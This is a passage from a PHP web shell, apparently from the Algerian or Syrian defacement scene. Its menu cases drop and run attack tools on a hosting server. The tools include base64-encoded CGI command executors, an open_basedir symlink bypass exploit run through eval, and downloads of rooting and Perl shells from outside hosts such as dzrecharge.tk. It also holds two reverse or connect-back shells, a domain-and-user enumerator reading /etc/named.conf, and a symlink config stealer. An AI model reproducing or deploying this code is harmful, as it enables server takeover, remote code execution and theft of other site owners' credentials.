IFdlbnQgV3Jvbmc8L0gyPjxCUj48UFJFPicKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBtYWluIGJvZHkgb2YgdGhlIHNj
cmlwdAoKaWYgX19uYW1lX18gPT0gJ19fbWFpbl9fJzoKICAgIHByaW50ICJDb250ZW50LXR5cGU6
IHRleHQvaHRtbCIgICAgICAgICAjIHRoaXMgaXMgdGhlIGhlYWRlciB0byB0aGUgc2VydmVyCiAg
ICBwcmludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyBzbyBpcyB0aGlzIGJs
YW5rIGxpbmUKICAgIGZvcm0gPSBjZ2kuRmllbGRTdG9yYWdlKCkKICAgIGRhdGEgPSBnZXRmb3Jt
KFsnY21kJ10sZm9ybSkKICAgIHRoZWNtZCA9IGRhdGFbJ2NtZCddCiAgICBwcmludCB0aGVmb3Jt
aGVhZAogICAgcHJpbnQgdGhlZm9ybQogICAgaWYgdGhlY21kOgogICAgICAgIHByaW50ICc8SFI+
PEJSPjxCUj4nCiAgICAgICAgcHJpbnQgJzxCPkNvbW1hbmQgOiAnLCB0aGVjbWQsICc8QlI+PEJS
PicKICAgICAgICBwcmludCAnUmVzdWx0IDogPEJSPjxCUj4nCiAgICAgICAgdHJ5OgogICAgICAg
ICAgICBjaGlsZF9zdGRpbiwgY2hpbGRfc3Rkb3V0ID0gb3MucG9wZW4yKHRoZWNtZCkKICAgICAg
ICAgICAgY2hpbGRfc3RkaW4uY2xvc2UoKQogICAgICAgICAgICByZXN1bHQgPSBjaGlsZF9zdGRv
dXQucmVhZCgpCiAgICAgICAgICAgIGNoaWxkX3N0ZG91dC5jbG9zZSgpCiAgICAgICAgICAgIHBy
aW50IHJlc3VsdC5yZXBsYWNlKCdcbicsICc8QlI+JykKCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlv
biwgZTogICAgICAgICAgICAgICAgICAgICAgIyBhbiBlcnJvciBpbiBleGVjdXRpbmcgdGhlIGNv
bW1hbmQKICAgICAgICAgICAgcHJpbnQgZXJyb3JtZXNzCiAgICAgICAgICAgIGYgPSBTdHJpbmdJ
TygpCiAgICAgICAgICAgIHByaW50X2V4YyhmaWxlPWYpCiAgICAgICAgICAgIGEgPSBmLmdldHZh
bHVlKCkuc3BsaXRsaW5lcygpCiAgICAgICAgICAgIGZvciBsaW5lIGluIGE6CiAgICAgICAgICAg
ICAgICBwcmludCBsaW5lCgogICAgcHJpbnQgYm9keWVuZAoKCiIiIgpUT0RPL0lTU1VFUwoKCgpD
SEFOR0VMT0cKCjA3LTA3LTA0ICAgICAgICBWZXJzaW9uIDEuMC4wCkEgdmVyeSBiYXNpYyBzeXN0
ZW0gZm9yIGV4ZWN1dGluZyBzaGVsbCBjb21tYW5kcy4KSSBtYXkgZXhwYW5kIGl0IGludG8gYSBw
cm9wZXIgJ2Vudmlyb25tZW50JyB3aXRoIHNlc3Npb24gcGVyc2lzdGVuY2UuLi4KIiIi';

$file = fopen("python.izo" ,"w+");
$write = fwrite ($file ,base64_decode($pythonp));
fclose($file);
    chmod("python.izo",0755);
   echo "<iframe src=python/python.izo width=100% height=100% frameborder=0></iframe> ";
break;
case "PHP_8":

$mode="cp";//????????????.
if($_REQUEST['bypass']!=$mode)
{
   echo "<iframe src=cp width=100% height=100% frameborder=0></iframe> ";
exit;
}
eval(base64_decode("LyoNClBIUCA1LjIuMTEvNS4zLjAgc3ltbGluaygpIG9wZW5fYmFzZWRpciBieXBhc3MgDQpieSBN
YWtzeW1pbGlhbiBBcmNpZW1vd2ljeiBodHRwOi8vc2VjdXJpdHlyZWFzb24uY29tLw0KY3hpYiBb
IGEuVF0gc2VjdXJpdHlyZWFzb24gWyBkMHRdIGNvbQ0KDQpDSFVKV0FNV01VWkcNCiovDQoNCiRm
YWtlZGlyPSJjeCI7DQokZmFrZWRlcD0xNjsNCg0KJG51bT0wOyAvLyBvZmZzZXQgb2Ygc3ltbGlu
ay4kbnVtDQoNCmlmKCFlbXB0eSgkX0dFVFsnZmlsZSddKSkgJGZpbGU9JF9HRVRbJ2ZpbGUnXTsN
CmVsc2UgaWYoIWVtcHR5KCRfUE9TVFsnZmlsZSddKSkgJGZpbGU9JF9QT1NUWydmaWxlJ107DQpl
bHNlICRmaWxlPSIiOw0KDQplY2hvICc8UFJFPjxpbWcNCnNyYz0iaHR0cDovL3NlY3VyaXR5cmVh
c29uLmNvbS9nZngvbG9nby5naWY/Y3g1MjExLnBocCI+PFA+VGhpcyBpcyBleHBsb2l0DQpmcm9t
IDxhDQpocmVmPSJodHRwOi8vc2VjdXJpdHlyZWFzb24uY29tLyIgdGl0bGU9IlNlY3VyaXR5IEF1
ZGl0IFBIUCI+U2VjdXJpdHkgQXVkaXQNCkxhYiAtIFNlY3VyaXR5UmVhc29uPC9hPiBsYWJzLg0K
QXV0aG9yIDogTWFrc3ltaWxpYW4gQXJjaWVtb3dpY3oNCjxwPlNjcmlwdCBmb3IgbGVnYWwgdXNl
IG9ubHkuDQo8cD5QSFAgNS4yLjExIDUuMy4wIHN5bWxpbmsgb3Blbl9iYXNlZGlyIGJ5cGFzcw0K
PHA+TW9yZTogPGEgaHJlZj0iaHR0cDovL3NlY3VyaXR5cmVhc29uLmNvbS8iPlNlY3VyaXR5UmVh
c29uPC9hPg0KPHA+PGZvcm0gbmFtZT0iZm9ybSINCiBhY3Rpb249Ij9CYWNrQ29ubmVjdD1QSFBf
OCZieXBhc3M9Y3AiIG1ldGhvZD0icG9zdCI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImZpbGUi
IHNpemU9IjUwIg0KdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkZmlsZSkuJyI+PGlucHV0IHR5
cGU9InN1Ym1pdCIgbmFtZT0iaHltIg0KdmFsdWU9IkNyZWF0ZSBTeW1saW5rIj48L2Zvcm0+JzsN
Cg0KaWYoZW1wdHkoJGZpbGUpKQ0KICAgIGV4aXQ7DQoNCmlmKCFpc193cml0YWJsZSgiLiIpKQ0K
ICAgIGRpZSgibm90IHdyaXRhYmxlIGRpcmVjdG9yeSIpOw0KDQokbGV2ZWw9MDsNCg0KZm9yKCRh
cz0wOyRhczwkZmFrZWRlcDskYXMrKyl7DQogICAgaWYoIWZpbGVfZXhpc3RzKCRmYWtlZGlyKSkN
CiAgICAgICAgbWtkaXIoJGZha2VkaXIpOw0KICAgIGNoZGlyKCRmYWtlZGlyKTsNCn0NCg0Kd2hp
bGUoMTwkYXMtLSkgY2hkaXIoIi4uIik7DQoNCiRoYXJkc3R5bGUgPSBleHBsb2RlKCIvIiwgJGZp
bGUpOw0KDQpmb3IoJGE9MDskYTxjb3VudCgkaGFyZHN0eWxlKTskYSsrKXsNCiAgICBpZighZW1w
dHkoJGhhcmRzdHlsZVskYV0pKXsNCiAgICAgICAgaWYoIWZpbGVfZXhpc3RzKCRoYXJkc3R5bGVb
JGFdKSkgDQogICAgICAgICAgICBta2RpcigkaGFyZHN0eWxlWyRhXSk7DQogICAgICAgIGNoZGly
KCRoYXJkc3R5bGVbJGFdKTsNCiAgICAgICAgJGFzKys7DQogICAgfQ0KfQ0KJGFzKys7DQp3aGls
ZSgkYXMtLSkNCiAgICBjaGRpcigiLi4iKTsNCg0KQHJtZGlyKCJmYWtlc3ltbGluayIpOw0KQHVu
bGluaygiZmFrZXN5bWxpbmsiKTsNCg0KQHN5bWxpbmsoc3RyX3JlcGVhdCgkZmFrZWRpci4iLyIs
JGZha2VkZXApLCJmYWtlc3ltbGluayIpOw0KDQovLyB0aGlzIGxvb3Agd2lsbCBza2lwIGFsbHJl
YWR5IGNyZWF0ZWQgc3ltbGlua3MuDQp3aGlsZSgxKQ0KICAgIGlmKHRydWU9PShAc3ltbGluaygi
ZmFrZXN5bWxpbmsvIi5zdHJfcmVwZWF0KCIuLi8iLCRmYWtlZGVwLTEpLiRmaWxlLA0KInN5bWxp
bmsiLiRudW0pKSkgYnJlYWs7DQogICAgZWxzZSAkbnVtKys7DQoNCkB1bmxpbmsoImZha2VzeW1s
aW5rIik7DQpta2RpcigiZmFrZXN5bWxpbmsiKTsNCg0KZGllKCc8Rk9OVCBDT0xPUj0iUkVEIj5j
aGVjayBzeW1saW5rIDxhDQpocmVmPSIuL3N5bWxpbmsnLiRudW0uJyI+c3ltbGluaycuJG51bS4n
PC9hPiBmaWxlPC9GT05UPicpOw=="));
break;
case "PHP_9":
    mkdir('perltools', 0755);
    chdir('perltools');
$perltoolss = 'PD9waHAKLyoKCiovCmVjaG8gIjxodG1sPjx0aXRsZT5JbXBvcnRlciBUMDBseiB2LjQ8L3RpdGxl
PjxoZWFkPjxMSU5LIFJFTD0nU0hPUlRDVVQgSUNPTidIUkVGPSdodHRwOi8vd3d3LmhhY2stYm9v
ay5uZXQvZmF2aWNvbi5pY28nPjwvaGVhZD4KPHN0eWxlPmE6bGluayB7dGV4dC1kZWNvcmF0aW9u
Om5vbmU7fWE6aG92ZXIgeyAgICAgYm9yZGVyLWJvdHRvbTogMXB4IGRvdHRlZCAjYmEwMDAwO31h
OnZpc2l0ZWQge3RleHQtZGVjb3JhdGlvbjpub25lO308L3N0eWxlPgo8Ym9keSB0ZXh0PScjRkYw
MDAwJyBiZ2NvbG9yPScjMDAwMDAwJyBsaW5rPScjQ0NDQ0NDJyB2bGluaz0nIzgwODA4MCcgYWxp
bms9JyM5OTk5OTknPjxkaXYgYWxpZ249J2NlbnRlcic+PGJyPgo8aW1nIGJvcmRlcj0nMCcgc3Jj
PSdodHRwOi8vdXBsb2FkLnRyYWlkbnQubmV0L3VwZmlsZXMvbzhJOTk4MTAucG5nJyB3aWR0aD0n
NTY2JyBoZWlnaHQ9JzI4Myc+PC9kaXY+Cjxmb250IGZhY2U9J3RhaG9tYScgc2l6ZT0nMicgY29s
b3I9JyNmMzAwMDAnPjxicj48Yj48IS0tIGhhY2stYm9vay5uZXQgLS0+IjsKQHNldF90aW1lX2xp
bWl0KDApOwpAZXJyb3JfcmVwb3J0aW5nKEVfQUxMIHwgRV9OT1RJQ0UpOwokeD1hcnJheSggImh0
LnR4dCI9PiIuaHRhY2Nlc3MiLCAiY2dpLW5ldy50eHQiPT4iY2dpLnIxeiIsICJkby1uZXcudHh0
Ij0+ImRvbWFpbi5yMXoiLCAidXNlci50eHQiPT4idXNlci5yMXoiLCAiY28udHh0Ij0+ImNvbmZp
Zy5yMXoiLCAic3ltLnR4dCI9PiJzeW1saW5rLnIxeiIsICJzcWwtbmV3LnR4dCI9PiJzcWwucGhw
IiwgInI1Ny50eHQiPT4icjU3LnBocCIsICJjcGFuZWwudHh0Ij0+ImNwYW5lbC5waHAiLCAiZG9t
YWlucy10eHQudHh0Ij0+ImRvbWFpbi5waHAiLCAiam9vbWxhLnR4dCI9PiJqb29tbGEucGhwIiwg
IndwLnR4dCI9PiJ3cC5waHAiLCAiY29uZmlnLXBocC50eHQiPT4iY29uZmlnLnBocCIsICJpbmku
dHh0Ij0+ImluaS5waHAiLCAidmIudHh0Ij0+InZiLnBocCIsICJpc3N3LnR4dCI9PiJpc3N3LnBo
cCIsICJwbnB4LWluaS50eHQiPT4icGhwLmluaSIsICk7CmZvcmVhY2goJHggYXMgJGQ9PiR6KXsg
JGZpbGUgPSBmb3BlbigkeiAsIncrIik7CiRyMHg9ZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly93
d3cubXVzaWM0ZnVuLm9yZy9yMHgzZC9yMHgvJy4kZCk7CiR3cml0ZSA9IGZ3cml0ZSAoJGZpbGUg
LCRyMHgpOwpmY2xvc2UoJGZpbGUpOwppZigkd3JpdGUpeyBlY2hvICJbK10gV3JpdGVkIDogPGEg
aHJlZj0nLi8keic+JHo8L2E+IDwvYnI+IjsKfWVsc2V7IGVjaG8gIlt+XSBDYW4ndCBXcml0ZSA6
ICR6IDxicj4iOwp9CmNobW9kKCR6ICwgMDc1NSk7Cn0KZWNobyAiPC9iPjwvZm9udD48Yj48Yj48
Zm9udCBmYWNlPSdUYWhvbWEnIHNpemU9JzInIGNvbG9yPScjQ0NDQ0NDJz48L2ZvbnQ+PC9iPjxm
b250IGZhY2U9J1RhaG9tYScgc2l6ZT0nMicgY29sb3I9JyM5OTk5OTknPjxiPjwvYj48IS0tIC9o
YWNrLWJvb2submV0IC0tPjxicj48L2ZvbnQ+PC9iPjxwIGFsaWduPSdjZW50ZXInPjxmb250IGZh
Y2U9J1RhaG9tYScgc3R5bGU9J2ZvbnQtc2l6ZTogOXB0Jz48Zm9udCBjb2xvcj0nI0ZGRkZGRic+
Q29kZWQgQnk8L2ZvbnQ+PGZvbnQgY29sb3I9JyNGRjAwMDAnPiBJcmFRaWFOLXIweCA8L2ZvbnQ+
PGZvbnQgY29sb3I9JyNGRkZGRkYnPiB8PC9mb250Pjxmb250IGNvbG9yPScjRkYwMDAwJz4gPGEg
aHJlZj0naHR0cDovL3d3dy5oYWNrLWJvb2submV0L3ZiLyc+d3d3LkhhY2stQm9vay5uZXQ8L2E+
PC9mb250PjwvZm9udD48L3A+PHAgYWxpZ249J2NlbnRlcic+PGZvbnQgZmFjZT0nVGFob21hJyBz
dHlsZT0nZm9udC1zaXplOiA5cHQnPkdyRUV0eiBUbzwvZm9udD48Zm9udCBmYWNlPSdUYWhvbWEn
IGNvbG9yPScjRkZGRkZGJyBzdHlsZT0nZm9udC1zaXplOiA5cHQnPiBbI11+PC9mb250Pjxmb250
IGZhY2U9J1RhaG9tYScgY29sb3I9JyNDQ0NDQ0MnIHN0eWxlPSdmb250LXNpemU6IDlwdCc+IEth
cmFyIGFsU2hhTWk8L2ZvbnQ+PGZvbnQgZmFjZT0nVGFob21hJyBjb2xvcj0nI0ZGRkZGRicgc3R5
bGU9J2ZvbnQtc2l6ZTogOXB0Jz58IEFuZCBBbGwgTXkgRnJpZW5kczwvcD48L2ZvbnQ+PGI+PGZv
bnQgZmFjZT0nVGFob21hJyBzaXplPScyJyBjb2xvcj0nI0ZGRkZGRic+PC9odG1sPiI7CiMgZGVj
cnlwdGVkOgojIGV2YWwoZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJ0RaUkh6cVJvQWdYM2M0cmFk
WlZZNE9GRHJaNFJKdkdRMkFSeU04Sjc3emw5L3lkNFV1aEYvT2RYZnNUZDcvS3BoNktMdC94M0Vx
ODVSZncveTlNeHkzLy9KV1EyS3V5MnhMNEV4NW96cFVNeDBsRGZ0UmM0ZlE0ZTI1R2kxQ0FCaE1F
d0Juc3dwQnNNQW9rU1RIOUtrL3JRMEcxcW02b0xjTjFvUlgzb2NvZy85ZjJHNjh0NDJ0SHJzYW4x
M1l0ZkJtenhDY1Jld05ablNDZ3FFK0o1RVB2bVVONktwbnJKREphdUNqTG05SThVSnE4NXVNcDdI
Q2NuVk10emlGK2dKWWU2K05xdGdxbTg3azdWUHFmdmJkczZPWGoyV0F1dTdsMFJRdXZIRmk0bmF6
cm1UZFZ2WFlLY2xQTjZnMkdkS292R2JYUmk3RW5sN295TjYzU1Myd0lkc3NydkgzRVEwK0tVUFk4
d0QycHBVMGVnMVBEcU83ay81bXdiTkU2emVUTHRDV0ZYSW12cWs0dXFFZVpaT3BkUlMwU3BFRnFq
TU04R2dTNkxQQXlMZ2VSYk9JTzA5c1lZdG16NjNKdk1sUWFmTFlPOTRBbVB2ZUhNVmg4OW1tRml6
L21xem5MUWRXSGZRU2gya1loUVN4SkhwZ21oU2NZcWlFV1VtYXFDMWhWcWRCS2djYnBoOWRZN2lj
NXdaTldiNy9KRkd3SnNnbC9rK081ZitlZEU3ZWtWZElGY0YvMytmSHhTdWJ3TlJiOXE1ZXlMUkNx
Q0ZLR29yb0RTVTFYTkZkS0xUVVhhMmUxRlRnTlBnSmYrSUZCN3l4NitaNFZGVGRCM2Z5b3hLT21t
cStSUnZ4TDVTSGdoNUJ5anN4Mjhrck92dHpXVjd3NEhxQ2lEUENGemZ6WnN5WHp2dFJxNmc0aUcz
NmZpYU1GVUN0eVk0bzdwdXRzaHRDSkdid3gyblE1MzlUSGpaQlFWdWtrRy95SFYzV0h2c21CUHlL
eHFVeEdyU1BFVjk1ajhwYWs4ZnJZeGFpSUtXako4d0pwM0Z1ZWZWZ2liTnhzK1drMWN0cXoyK3ZQ
VjhtZE5tdEpvSFRGWXByVVE3dE9Fd1pzcVB6WFJta2VXU3VtcFJZTmZmUjQrNVRDWjFXUFlFUmZi
VDAvbWRVaW9ibStPMlBHKzZDckoyNlZpeUJvRlM2dEFJZ2g1Sm1QM1BWYXdZSzVxUUc3VUJ5b2NX
OHBOMTEvaW91blpjZWp0VkFHaEduUE51QVdLOWM1SmRIbmRtZ01CUjhpbjNUR2JxeTN6L1lrMFNs
Zy9Jc2hHc0lsYjFNaVB1UmJCVWdRZnkrY3dyQ09HcUU0dHdKMkxXbTQ3cFJDTnljckl3Y0thczdC
Q3Q3K2diRFozcXYvNDdNQTVyTmpKbExDRDJ6SzhCTUhObURROTRDMldpZ1hna0VTZnIzOWNnVyty
Wlh5SmtweElKaU5NNTNGdTlBNG5vUWpUS0tUK1hHcUtaYXIyS0l2WVNOdkdZcjZYVVdvL3R4NFlS
UWFKQ0RQNThKRHFkN1RCUFlwME9OZll4YnQ5Tit1ZGhyT2pIRk1BUXB4eFg3NWEvWVE0OG0waXZz
dVk0UlhJVm9xcnZ0QW45UGVuRWZlcVAzMU0xTlhzV2hkZ3dwRWtDd21QYW0vbDFyZ3BNc2ZEZDJr
a2dJU3pLTGQvNlFnak1yb2dEVjlhYkZ1TUhsU0wzOFdNTkFTeWlWREE3TzZOWnVLUXVQYzh5K0cx
OU8rSFdJKytCOUlvZTVHcUdyYmoyTFdHdkNZNG56ZUlKWVdjZUpVTkQ5WXQvL0VhcmZxckloOVg1
VC80RnZYOUt5RHNjanFhbXNOYWM4cWlvZzViaHdWMG5NaktIRzZqaUNvN21zSTlXNG1rVTUwaS9Y
VE5NMGEwVENjWjl4TTl2aWJ5bWFyMzdkSGRUMHZaOHJWR0lYU1Z0dkZLbytTZDNKTEhLYjQ1emd5
TUw4N0xHbm5IUDBjaXVmT2JQWElOeGliVnFvcEtZN2R2VVRCb3d2dGFWTnJUb2w3ZnBYTTA1a0Vn
MVRPZW1oTXN1TTNBUHJvSnAyNTBmYTJhbk5ua0Z4dG9kYUlRU3ptYVJZeGZXanptT01nVEovNWFl
VVVhczZLa2VZK1A0ckRCbVZUalhPcS9mMVpqcExGcFp6bTR5MUc3MHk0a0tXWG4wZU9DM3VWZVVn
OGY0YktRQUM1Z21pRnBHSVpaOE05ZmYvNzgrZnZYLy83N0x3PT0nKSkpOwoKPz4=';

$file = fopen("perlbypass.php" ,"w+");
$write = fwrite ($file ,base64_decode($perltoolss));
fclose($file);
   echo "<iframe src=perltools/perlbypass.php width=100% height=100% frameborder=0></iframe> ";
break;
case "PHP_10":

    mkdir('autoroot', 0755);
    chdir('autoroot');
$file = fopen("autoroot.txt" ,"w+");

$sa=file_get_contents('http://dzrecharge.tk/pv8L/1.txt');

$write = fwrite ($file ,$sa);

fclose($file);

if ($write) {

echo "The File Was Created Successfuly.</br>";

}
else {echo'"error"';}

$chm = chmod("autoroot.txt" , 0755);

if ($chm == true){
    echo "chmoded the file to 755";
}else{
    echo "sorry file didn't chmoded";
}
break;
case "PHP_11":

    mkdir('cgi', 0755);
    chdir('cgi');
    $file = fopen("jeentel" ,"w+");
    $sa=file_get_contents('http://dzrecharge.tk/pv8L/jeentel');
    $write = fwrite ($file ,$sa);
    chmod("jeentel",0777);
    $file = fopen("cgiPerl.dz" ,"w+");
    $sa=file_get_contents('http://dzrecharge.tk/pv8L/dz.txt');
    $write = fwrite ($file ,$sa);
    chmod("cgiPerl.dz",0755);
        $kokdosya = ".htaccess";
        $dosya_adi = "$kokdosya";
        $dosya = fopen ($dosya_adi , 'w') or die ("Dosya a&#231;&#305;lamad&#305;!");
        $metin = "AddType application/x-httpd-cgi .dz
AddHandler cgi-script .dz";
        fwrite ( $dosya , $metin ) ;
        fclose ($dosya);
   echo "<iframe src=cgi/cgiPerl.dz width=100% height=100% frameborder=0></iframe> ";
break;
case "PHP_12":

{
    $ipz =$_SERVER["REMOTE_ADDR"];
    $portz ="22";
    if ($ipz == "" && $portz == ""){echo "Please fill IP Adress & The listen Port";}
    else
    {
        $ipaddr = $ipz;
        $port = $portz;
        if (FALSE !== strpos($ipaddr, ":")) {$ipaddr = "[". $ipaddr ."]";}
        if (is_callable('stream_socket_client'))
        {
            $msgsock = stream_socket_client("tcp://{$ipaddr}:{$port}");
            if (!$msgsock){die();}
            $msgsock_type = 'stream';
        }
        elseif (is_callable('fsockopen'))
        {
            $msgsock = fsockopen($ipaddr,$port);
            if (!$msgsock) {die(); }
            $msgsock_type = 'stream';
        }
        elseif (is_callable('socket_create'))
        {
            $msgsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
            $res = socket_connect($msgsock, $ipaddr, $port);
            if (!$res) {die(); }
            $msgsock_type = 'socket';
        }
        else {die();}
        switch ($msgsock_type)
        {
            case 'stream': $len = fread($msgsock, 4); break;
            case 'socket': $len = socket_read($msgsock, 4); break;
        }
        if (!$len) {die();}
        $a = unpack("Nlen", $len);
        $len = $a['len'];
        $buffer = '';
        while (strlen($buffer) < $len)
        {
            switch ($msgsock_type)
            {
                case 'stream': $buffer .= fread($msgsock, $len-strlen($buffer));
                break;
                case 'socket': $buffer .= socket_read($msgsock, $len-strlen($buffer));
                break;
            }
        }
        eval($buffer);
        echo "[*] Connection Terminated";
        die();
    }
}
break;
case "PHP_13":

{
        $env = array('PATH' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin');
        $descriptorspec = array(
        0 => array("pipe","r"),
        1 => array("pipe","w"),
        2 => array("file","/tmp/log.txt","a"));
        $ipx =$_SERVER["REMOTE_ADDR"];
        $portx ="22";
        $proto=getprotobyname("tcp");
        if(($sock=socket_create(AF_INET,SOCK_STREAM,$proto))<0)
        { die("[-] Socket Create Faile");}
        if(($ret=socket_connect($sock,$ipx,$portx))<0)
        { die("[-] Connect Faile");}
        else{
        $message="----------------------PHP Connect-Back--------------------
";
        $message.="----------------------- SyRiAn Sh3ll --------------------
";
        socket_write($sock,$message,strlen($message));
        $cwd=str_replace('\','/',dirname(__FILE__));
        while($cmd=socket_read($sock,65535,$proto))
           {
           if(trim(strtolower($cmd))=="exit"){socket_write($sock,"Bye Bye
");exit;}
           else{
            $process = proc_open($cmd, $descriptorspec, $pipes, $cwd, $env);
            if (is_resource($process)) {
            fwrite($pipes[0], $cmd);
            fclose($pipes[0]);
            $msg=stream_get_contents($pipes[1]);
            socket_write($sock,$msg,strlen($msg));
            fclose($pipes[1]);
            $return_value = proc_close($process);}
           }
            }
        }
    }
break;
case "PHP_14":

echo "<title># Domains & Users</title>
<style>
body,table{background: black; font-family:Verdana,tahoma; color: white; font-size:10px; }
A:link {text-decoration: none;color: red;}
A:active {text-decoration: none;color: red;}
A:visited {text-decoration: none;color: red;}
A:hover {text-decoration: underline; color: red;}
#new,input,table,td,tr,#gg{text-align:center;border-style:solid;text-decoration:bold;}
tr:hover,td:hover{text-align:center;background-color: #FFFFCC; color:green;}
</style>
<p align=center># Domains & Users</p>
<p align=center>Karar alShaMi t00l with PHP .. Maked By Lagripe-Dz ..?!</p><center>";

$d0mains = @file("/etc/named.conf");

if(!$d0mains){ die("<b># can't ReaD -> [ /etc/named.conf ]"); }

echo "<table align=center border=1>
<tr bgcolor=green><td>d0mains</td><td>users</td></tr>";

foreach($d0mains as $d0main){

if(eregi("zone",$d0main)){

preg_match_all('#zone "(.*)"#', $d0main, $domains);
flush();

if(strlen(trim($domains[1][0])) > 2){

$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));

echo "<tr><td><a href=http://www.".$domains[1][0]."/>".$domains[1][0]."</a></td><td>".$user['name']."</td></tr>"; flush();

}}}

echo "</table>
<p align='center'>
MaDe in AlGeriA 2o11 (r)
</p>
";
break;
case "PHP_15":
    mkdir('ShowsourceRead', 0755);
        chdir('ShowsourceRead');

$filexc = 'ZWNobyAiPGh0bWw+CjwvdGQ+PC90cj48L3RhYmxlPjxmb3JtIG1ldGhvZD0nUE9TVCcgZW5jdHlw
ZT0nbXVsdGlwYXJ0L2Zvcm0tZGF0YScgPgo8L3RkPjwvdHI+PC90YWJsZT48Zm9ybSBtZXRob2Q9
J1BPU1QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnID4KPGJyPgo8Yj5zaG93X3NvdXJj
ZSAgOiA8L2I+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3Nob3cnIHZhbHVlPScnIHNpemU9JzU5
JyBzdHlsZT0nY29sb3I6ICNmZmZmZmY7IGJvcmRlcjogMXB4IGRvdHRlZCByZWQ7IGJhY2tncm91
bmQtY29sb3I6ICMwMDAwMDAnPjwvcD4KPGI+aGlnaGxpZ2h0X2ZpbGUgOiA8L2I+PGlucHV0IHR5
cGU9J3RleHQnIG5hbWU9J2hpZ2gnIHZhbHVlPScnIHNpemU9JzU5JyBzdHlsZT0nY29sb3I6ICNm
ZmZmZmY7IGJvcmRlcjogMXB4IGRvdHRlZCAjZmZmZmZmOyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAw
MDAwJz48L3A+CjxpbnB1dCB0eXBlPSdzdWJtaXQnJyAgdmFsdWU9J1JlYWQnICBzdHlsZT0nY29s
b3I6IHJlZDsgYm9yZGVyOiAxcHggZG90dGVkIG9yYW5nZTsgYmFja2dyb3VuZC1jb2xvcjogZ3Jl
ZW4nPjwvZm9ybTwvcD4KPC9mb3JtPC9wPiI7Cjw/cGhwCmlmKGVtcHR5KCRfUE9TVFsnc2hvdydd
KSkKewp9CmVsc2UKewokcyA9ICRfUE9TVFsnc2hvdyddOwplY2hvICI8Yj48aDE+PGZvbnQgc2l6
ZT0nNCcgY29sb3I9J3JlZCc+c2hvd19zb3VyY2U8L2ZvbnQ+PC9oMT4iOwokc2hvdyA9IHNob3df
c291cmNlKCRzKTsKfQppZihlbXB0eSgkX1BPU1RbJ2hpZ2gnXSkpCnsKfQplbHNlCnsKJGggPSAk
X1BPU1RbJ2hpZ2gnXTsKZWNobyAiPGI+PGgxPjxmb250IHNpemU9JzQnIGNvbG9yPSdncmVlbic+
aGlnaGxpZ2h0X2ZpbGU8L2ZvbnQ+PC9oMT4iOwplY2hvICI8YnI+IjsKJGhpZ2ggPSBoaWdobGln
aHRfZmlsZSgkaCk7Cn0KPz4=';

$file = fopen("read.php" ,"w+");
$write = fwrite ($file ,base64_decode($filexc));
fclose($file);
   echo "<iframe src=ShowsourceRead/read.php width=100% height=100% frameborder=0></iframe> ";
break;
case "PHP_16":
    mkdir('configler', 0755);
    chdir('configler');
        $kokdosya = ".htaccess";
        $dosya_adi = "$kokdosya";
        $dosya = fopen ($dosya_adi , 'w') or die ("Dosya a&#231;&#305;lamad&#305;!");
        $metin = "AddHandler cgi-script .izo";
        fwrite ( $dosya , $metin ) ;
        fclose ($dosya);
$configshell = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpwcmludCAiQ29udGVudC10eXBl
OiB0ZXh0L2h0bWxcblxuIjsNCnByaW50JzwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9E
VEQgWEhUTUwgMS4wIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRt
bDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkIj4NCjxodG1sIHhtbG5zPSJodHRwOi8vd3d3
LnczLm9yZy8xOTk5L3hodG1sIj4NCjxoZWFkPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1M
YW5ndWFnZSIgY29udGVudD0iZW4tdXMiIC8+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5
cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIgLz4NCjx0aXRsZT5bfl0gQ3li
M3ItRFogQ29uZmlnIC0gW35dIDwvdGl0bGU+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KLm5l
d1N0eWxlMSB7DQogZm9udC1mYW1pbHk6IFRhaG9tYTsNCiBmb250LXNpemU6IHgtc21hbGw7DQog
Zm9udC13ZWlnaHQ6IGJvbGQ7DQogY29sb3I6ICMwMEZGRkY7DQogIHRleHQtYWxpZ246IGNlbnRl
cjsNCn0NCjwvc3R5bGU+DQo8L2hlYWQ+DQonOw0Kc3ViIGxpbHsNCiAgICAoJHVzZXIpID0gQF87
DQokbXNyID0gcXh7cHdkfTsNCiRrb2xhPSRtc3IuIi8iLiR1c2VyOw0KJGtvbGE9fnMvXG4vL2c7
IA0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZ3Vy
ZS5waHAnLCRrb2xhLictc2hvcC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJs
aWNfaHRtbC9hbWVtYmVyL2NvbmZpZy5pbmMucGhwJywka29sYS4nLWFtZW1iZXIudHh0Jyk7DQpz
eW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlnLmluYy5waHAnLCRrb2xh
LictYW1lbWJlcjIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwv
bWVtYmVycy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1tZW1iZXJzLnR4dCcpOw0Kc3ltbGlu
